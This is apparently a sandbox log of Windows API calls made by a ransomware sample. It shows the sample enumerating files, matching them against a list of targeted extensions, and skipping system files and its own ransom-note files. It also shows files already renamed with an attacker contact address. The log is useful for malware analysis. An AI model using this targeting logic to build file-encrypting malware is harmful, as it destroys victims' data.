	[0249.012] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".crt") returned 4
	[0249.012] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".crw") returned 4
	[0249.012] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".cs") returned 3
	[0249.012] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0249.013] lstrlenW (lpString=".css") returned 4
	[0249.013] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".csv") returned 4
	[0249.013] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".cub") returned 4
	[0249.013] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dae") returned 4
	[0249.013] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dat") returned 4
	[0249.013] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".db") returned 3
	[0249.013] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0249.013] lstrlenW (lpString=".dbf") returned 4
	[0249.013] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dbx") returned 4
	[0249.013] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dc3") returned 4
	[0249.013] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dcm") returned 4
	[0249.013] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dcr") returned 4
	[0249.013] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".der") returned 4
	[0249.013] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dib") returned 4
	[0249.013] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dic") returned 4
	[0249.013] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".dif") returned 4
	[0249.013] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0249.013] lstrlenW (lpString=".divx") returned 5
	[0249.013] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0249.013] lstrlenW (lpString=".djvu") returned 5
	[0249.013] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0249.013] lstrlenW (lpString=".dng") returned 4
	[0249.014] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".doc") returned 4
	[0249.014] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".docm") returned 5
	[0249.014] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0249.014] lstrlenW (lpString=".docx") returned 5
	[0249.014] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0249.014] lstrlenW (lpString=".dot") returned 4
	[0249.014] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".dotm") returned 5
	[0249.014] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0249.014] lstrlenW (lpString=".dotx") returned 5
	[0249.014] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0249.014] lstrlenW (lpString=".dpx") returned 4
	[0249.014] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".dqy") returned 4
	[0249.014] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".dsn") returned 4
	[0249.014] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".dt") returned 3
	[0249.014] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0249.014] lstrlenW (lpString=".dtd") returned 4
	[0249.014] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".dwg") returned 4
	[0249.014] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".dwt") returned 4
	[0249.014] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".dx") returned 3
	[0249.014] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0249.014] lstrlenW (lpString=".dxf") returned 4
	[0249.014] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0249.014] lstrlenW (lpString=".edml") returned 5
	[0249.014] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0249.014] lstrlenW (lpString=".efd") returned 4
	[0249.015] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".elf") returned 4
	[0249.015] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".emf") returned 4
	[0249.015] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".emz") returned 4
	[0249.015] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".epf") returned 4
	[0249.015] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".eps") returned 4
	[0249.015] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".epsf") returned 5
	[0249.015] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0249.015] lstrlenW (lpString=".epsp") returned 5
	[0249.015] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0249.015] lstrlenW (lpString=".erf") returned 4
	[0249.015] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".exr") returned 4
	[0249.015] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".f4v") returned 4
	[0249.015] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".fido") returned 5
	[0249.015] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0249.015] lstrlenW (lpString=".flm") returned 4
	[0249.015] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".flv") returned 4
	[0249.015] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".frm") returned 4
	[0249.015] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".fxg") returned 4
	[0249.015] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".geo") returned 4
	[0249.015] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0249.015] lstrlenW (lpString=".gif") returned 4
	[0249.016] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".grs") returned 4
	[0249.016] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".gz") returned 3
	[0249.016] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0249.016] lstrlenW (lpString=".h") returned 2
	[0249.016] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0249.016] lstrlenW (lpString=".hdr") returned 4
	[0249.016] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".hpp") returned 4
	[0249.016] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".hta") returned 4
	[0249.016] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".htc") returned 4
	[0249.016] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".htm") returned 4
	[0249.016] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".html") returned 5
	[0249.016] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0249.016] lstrlenW (lpString=".icb") returned 4
	[0249.016] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".ics") returned 4
	[0249.016] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".iff") returned 4
	[0249.016] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".inc") returned 4
	[0249.016] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0249.016] lstrlenW (lpString=".indd") returned 5
	[0249.016] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0249.016] lstrlenW (lpString=".ini") returned 4
	[0249.016] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0249.016] lstrlenW (lpString="desktop.ini") returned 11
	[0249.016] lstrlenW (lpString=".Acuf2") returned 6
	[0249.016] lstrcmpiW (lpString1=".Acuf2", lpString2="op.ini") returned -1
	[0249.017] lstrlenW (lpString="desktop.ini") returned 11
	[0249.017] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1
	[0249.017] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1
	[0249.017] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1
	[0249.017] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1
	[0249.017] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1
	[0249.017] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1
	[0249.017] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1
	[0249.017] lstrcmpiW (lpString1="swpesp.exe", lpString2="desktop.ini") returned 1
	[0249.017] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.017] FindNextFileW (in: hFindFile=0x4fb268, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7593600, ftCreationTime.dwHighDateTime=0x1d542e6, ftLastAccessTime.dwLowDateTime=0x7593600, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x75b9760, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2", cAlternateFileName="DESKTO~1.ACU")) returned 1
	[0249.017] lstrlenW (lpString="desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2") returned 50
	[0249.017] lstrlenW (lpString=".1cd") returned 4
	[0249.017] lstrcmpiW (lpString1=".1cd", lpString2="cuf2") returned -1
	[0249.017] lstrlenW (lpString=".3ds") returned 4
	[0249.017] lstrcmpiW (lpString1=".3ds", lpString2="cuf2") returned -1
	[0249.017] lstrlenW (lpString=".3fr") returned 4
	[0249.017] lstrcmpiW (lpString1=".3fr", lpString2="cuf2") returned -1
	[0249.017] lstrlenW (lpString=".3g2") returned 4
	[0249.017] lstrcmpiW (lpString1=".3g2", lpString2="cuf2") returned -1
	[0249.017] lstrlenW (lpString=".3gp") returned 4
	[0249.017] lstrcmpiW (lpString1=".3gp", lpString2="cuf2") returned -1
	[0249.017] lstrlenW (lpString=".7z") returned 3
	[0249.017] lstrcmpiW (lpString1=".7z", lpString2="uf2") returned -1
	[0249.017] lstrlenW (lpString=".accda") returned 6
	[0249.017] lstrcmpiW (lpString1=".accda", lpString2=".Acuf2") returned -1
	[0249.017] lstrlenW (lpString=".accdb") returned 6
	[0249.017] lstrcmpiW (lpString1=".accdb", lpString2=".Acuf2") returned -1
	[0249.017] lstrlenW (lpString=".accdc") returned 6
	[0249.017] lstrcmpiW (lpString1=".accdc", lpString2=".Acuf2") returned -1
	[0249.017] lstrlenW (lpString=".accde") returned 6
	[0249.018] lstrcmpiW (lpString1=".accde", lpString2=".Acuf2") returned -1
	[0249.018] lstrlenW (lpString=".accdt") returned 6
	[0249.018] lstrcmpiW (lpString1=".accdt", lpString2=".Acuf2") returned -1
	[0249.018] lstrlenW (lpString=".accdw") returned 6
	[0249.018] lstrcmpiW (lpString1=".accdw", lpString2=".Acuf2") returned -1
	[0249.018] lstrlenW (lpString=".adb") returned 4
	[0249.018] lstrcmpiW (lpString1=".adb", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".adp") returned 4
	[0249.018] lstrcmpiW (lpString1=".adp", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".ai") returned 3
	[0249.018] lstrcmpiW (lpString1=".ai", lpString2="uf2") returned -1
	[0249.018] lstrlenW (lpString=".ai3") returned 4
	[0249.018] lstrcmpiW (lpString1=".ai3", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".ai4") returned 4
	[0249.018] lstrcmpiW (lpString1=".ai4", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".ai5") returned 4
	[0249.018] lstrcmpiW (lpString1=".ai5", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".ai6") returned 4
	[0249.018] lstrcmpiW (lpString1=".ai6", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".ai7") returned 4
	[0249.018] lstrcmpiW (lpString1=".ai7", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".ai8") returned 4
	[0249.018] lstrcmpiW (lpString1=".ai8", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".anim") returned 5
	[0249.018] lstrcmpiW (lpString1=".anim", lpString2="Acuf2") returned -1
	[0249.018] lstrlenW (lpString=".arw") returned 4
	[0249.018] lstrcmpiW (lpString1=".arw", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".as") returned 3
	[0249.018] lstrcmpiW (lpString1=".as", lpString2="uf2") returned -1
	[0249.018] lstrlenW (lpString=".asa") returned 4
	[0249.018] lstrcmpiW (lpString1=".asa", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".asc") returned 4
	[0249.018] lstrcmpiW (lpString1=".asc", lpString2="cuf2") returned -1
	[0249.018] lstrlenW (lpString=".ascx") returned 5
	[0249.019] lstrcmpiW (lpString1=".ascx", lpString2="Acuf2") returned -1
	[0249.019] lstrlenW (lpString=".asm") returned 4
	[0249.019] lstrcmpiW (lpString1=".asm", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".asmx") returned 5
	[0249.019] lstrcmpiW (lpString1=".asmx", lpString2="Acuf2") returned -1
	[0249.019] lstrlenW (lpString=".asp") returned 4
	[0249.019] lstrcmpiW (lpString1=".asp", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".aspx") returned 5
	[0249.019] lstrcmpiW (lpString1=".aspx", lpString2="Acuf2") returned -1
	[0249.019] lstrlenW (lpString=".asr") returned 4
	[0249.019] lstrcmpiW (lpString1=".asr", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".asx") returned 4
	[0249.019] lstrcmpiW (lpString1=".asx", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".avi") returned 4
	[0249.019] lstrcmpiW (lpString1=".avi", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".avs") returned 4
	[0249.019] lstrcmpiW (lpString1=".avs", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".backup") returned 7
	[0249.019] lstrcmpiW (lpString1=".backup", lpString2="].Acuf2") returned -1
	[0249.019] lstrlenW (lpString=".bak") returned 4
	[0249.019] lstrcmpiW (lpString1=".bak", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".bay") returned 4
	[0249.019] lstrcmpiW (lpString1=".bay", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".bd") returned 3
	[0249.019] lstrcmpiW (lpString1=".bd", lpString2="uf2") returned -1
	[0249.019] lstrlenW (lpString=".bin") returned 4
	[0249.019] lstrcmpiW (lpString1=".bin", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".bmp") returned 4
	[0249.019] lstrcmpiW (lpString1=".bmp", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".bz2") returned 4
	[0249.019] lstrcmpiW (lpString1=".bz2", lpString2="cuf2") returned -1
	[0249.019] lstrlenW (lpString=".c") returned 2
	[0249.019] lstrcmpiW (lpString1=".c", lpString2="f2") returned -1
	[0249.020] lstrlenW (lpString=".cdr") returned 4
	[0249.020] lstrcmpiW (lpString1=".cdr", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".cer") returned 4
	[0249.020] lstrcmpiW (lpString1=".cer", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".cf") returned 3
	[0249.020] lstrcmpiW (lpString1=".cf", lpString2="uf2") returned -1
	[0249.020] lstrlenW (lpString=".cfc") returned 4
	[0249.020] lstrcmpiW (lpString1=".cfc", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".cfm") returned 4
	[0249.020] lstrcmpiW (lpString1=".cfm", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".cfml") returned 5
	[0249.020] lstrcmpiW (lpString1=".cfml", lpString2="Acuf2") returned -1
	[0249.020] lstrlenW (lpString=".cfu") returned 4
	[0249.020] lstrcmpiW (lpString1=".cfu", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".chm") returned 4
	[0249.020] lstrcmpiW (lpString1=".chm", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".cin") returned 4
	[0249.020] lstrcmpiW (lpString1=".cin", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".class") returned 6
	[0249.020] lstrcmpiW (lpString1=".class", lpString2=".Acuf2") returned 1
	[0249.020] lstrlenW (lpString=".clx") returned 4
	[0249.020] lstrcmpiW (lpString1=".clx", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".config") returned 7
	[0249.020] lstrcmpiW (lpString1=".config", lpString2="].Acuf2") returned -1
	[0249.020] lstrlenW (lpString=".cpp") returned 4
	[0249.020] lstrcmpiW (lpString1=".cpp", lpString2="cuf2") returned -1
	[0249.020] lstrlenW (lpString=".cr2") returned 4
	[0249.021] lstrcmpiW (lpString1=".cr2", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".crt") returned 4
	[0249.021] lstrcmpiW (lpString1=".crt", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".crw") returned 4
	[0249.021] lstrcmpiW (lpString1=".crw", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".cs") returned 3
	[0249.021] lstrcmpiW (lpString1=".cs", lpString2="uf2") returned -1
	[0249.021] lstrlenW (lpString=".css") returned 4
	[0249.021] lstrcmpiW (lpString1=".css", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".csv") returned 4
	[0249.021] lstrcmpiW (lpString1=".csv", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".cub") returned 4
	[0249.021] lstrcmpiW (lpString1=".cub", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".dae") returned 4
	[0249.021] lstrcmpiW (lpString1=".dae", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".dat") returned 4
	[0249.021] lstrcmpiW (lpString1=".dat", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".db") returned 3
	[0249.021] lstrcmpiW (lpString1=".db", lpString2="uf2") returned -1
	[0249.021] lstrlenW (lpString=".dbf") returned 4
	[0249.021] lstrcmpiW (lpString1=".dbf", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".dbx") returned 4
	[0249.021] lstrcmpiW (lpString1=".dbx", lpString2="cuf2") returned -1
	[0249.021] lstrlenW (lpString=".dc3") returned 4
	[0249.021] lstrcmpiW (lpString1=".dc3", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".dcm") returned 4
	[0249.022] lstrcmpiW (lpString1=".dcm", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".dcr") returned 4
	[0249.022] lstrcmpiW (lpString1=".dcr", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".der") returned 4
	[0249.022] lstrcmpiW (lpString1=".der", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".dib") returned 4
	[0249.022] lstrcmpiW (lpString1=".dib", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".dic") returned 4
	[0249.022] lstrcmpiW (lpString1=".dic", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".dif") returned 4
	[0249.022] lstrcmpiW (lpString1=".dif", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".divx") returned 5
	[0249.022] lstrcmpiW (lpString1=".divx", lpString2="Acuf2") returned -1
	[0249.022] lstrlenW (lpString=".djvu") returned 5
	[0249.022] lstrcmpiW (lpString1=".djvu", lpString2="Acuf2") returned -1
	[0249.022] lstrlenW (lpString=".dng") returned 4
	[0249.022] lstrcmpiW (lpString1=".dng", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".doc") returned 4
	[0249.022] lstrcmpiW (lpString1=".doc", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".docm") returned 5
	[0249.022] lstrcmpiW (lpString1=".docm", lpString2="Acuf2") returned -1
	[0249.022] lstrlenW (lpString=".docx") returned 5
	[0249.022] lstrcmpiW (lpString1=".docx", lpString2="Acuf2") returned -1
	[0249.022] lstrlenW (lpString=".dot") returned 4
	[0249.022] lstrcmpiW (lpString1=".dot", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".dotm") returned 5
	[0249.022] lstrcmpiW (lpString1=".dotm", lpString2="Acuf2") returned -1
	[0249.022] lstrlenW (lpString=".dotx") returned 5
	[0249.022] lstrcmpiW (lpString1=".dotx", lpString2="Acuf2") returned -1
	[0249.022] lstrlenW (lpString=".dpx") returned 4
	[0249.022] lstrcmpiW (lpString1=".dpx", lpString2="cuf2") returned -1
	[0249.022] lstrlenW (lpString=".dqy") returned 4
	[0249.022] lstrcmpiW (lpString1=".dqy", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".dsn") returned 4
	[0249.023] lstrcmpiW (lpString1=".dsn", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".dt") returned 3
	[0249.023] lstrcmpiW (lpString1=".dt", lpString2="uf2") returned -1
	[0249.023] lstrlenW (lpString=".dtd") returned 4
	[0249.023] lstrcmpiW (lpString1=".dtd", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".dwg") returned 4
	[0249.023] lstrcmpiW (lpString1=".dwg", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".dwt") returned 4
	[0249.023] lstrcmpiW (lpString1=".dwt", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".dx") returned 3
	[0249.023] lstrcmpiW (lpString1=".dx", lpString2="uf2") returned -1
	[0249.023] lstrlenW (lpString=".dxf") returned 4
	[0249.023] lstrcmpiW (lpString1=".dxf", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".edml") returned 5
	[0249.023] lstrcmpiW (lpString1=".edml", lpString2="Acuf2") returned -1
	[0249.023] lstrlenW (lpString=".efd") returned 4
	[0249.023] lstrcmpiW (lpString1=".efd", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".elf") returned 4
	[0249.023] lstrcmpiW (lpString1=".elf", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".emf") returned 4
	[0249.023] lstrcmpiW (lpString1=".emf", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".emz") returned 4
	[0249.023] lstrcmpiW (lpString1=".emz", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".epf") returned 4
	[0249.023] lstrcmpiW (lpString1=".epf", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".eps") returned 4
	[0249.023] lstrcmpiW (lpString1=".eps", lpString2="cuf2") returned -1
	[0249.023] lstrlenW (lpString=".epsf") returned 5
	[0249.023] lstrcmpiW (lpString1=".epsf", lpString2="Acuf2") returned -1
	[0249.023] lstrlenW (lpString=".epsp") returned 5
	[0249.023] lstrcmpiW (lpString1=".epsp", lpString2="Acuf2") returned -1
	[0249.023] lstrlenW (lpString=".erf") returned 4
	[0249.023] lstrcmpiW (lpString1=".erf", lpString2="cuf2") returned -1
	[0249.024] lstrlenW (lpString=".exr") returned 4
	[0249.024] lstrcmpiW (lpString1=".exr", lpString2="cuf2") returned -1
	[0249.024] lstrlenW (lpString=".f4v") returned 4
	[0249.024] lstrcmpiW (lpString1=".f4v", lpString2="cuf2") returned -1
	[0249.024] lstrlenW (lpString=".fido") returned 5
	[0249.024] lstrcmpiW (lpString1=".fido", lpString2="Acuf2") returned -1
	[0249.024] lstrlenW (lpString=".flm") returned 4
	[0249.024] lstrcmpiW (lpString1=".flm", lpString2="cuf2") returned -1
	[0249.024] lstrlenW (lpString=".flv") returned 4
	[0249.024] lstrcmpiW (lpString1=".flv", lpString2="cuf2") returned -1
	[0249.024] lstrlenW (lpString=".frm") returned 4
	[0249.024] lstrcmpiW (lpString1=".frm", lpString2="cuf2") returned -1
	[0249.026] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x77a8940, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x77a8940, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.026] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x19f26160, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0250.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e3ce0 | out: hHeap=0x4a0000) returned 1
	[0250.344] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe22e1c0, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0xe22e1c0, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0250.344] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x41e3ce0
	[0250.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe22e1c0, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0xe22e1c0, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0250.345] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe22e1c0, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0xe22e1c0, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
